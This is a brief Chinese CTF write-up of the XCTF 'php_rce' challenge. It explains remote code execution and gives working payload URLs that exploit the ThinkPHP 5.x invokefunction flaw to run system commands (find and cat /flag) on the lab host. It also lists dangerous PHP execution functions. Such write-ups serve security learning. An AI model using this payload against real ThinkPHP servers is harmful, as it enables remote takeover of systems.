攻防世界-php_rce

 · 2020-3-9  ·次阅读


第一次见thinkPHP,以前只有听过

QQ截图20200309160713

刚看到还以为我容器坏了…其实并没有

题目是phprce,我们先来介绍一下rce(远程代码执行漏洞),百度结果如下:

1. 什么是远程代码执行漏洞
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

2. 漏洞产生的根本原因
服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

页面也说明了是ThinkPHP V5版本 百度得知这个版本的确有远程代码执行漏洞

ThinkPHP 5.0<5.0.23&5.1<5.1.31版本在没有开启强制路由的情况下可能存在远程代码执行漏洞。攻击者通过该漏洞可能完全控制Web服务器。

直接上payload

查找flag

http://111.198.29.45:43736/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

QQ截图20200309162510

cat

http://111.198.29.45:43736/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

QQ截图20200309162435

附上一些查找到的函数

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

  PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()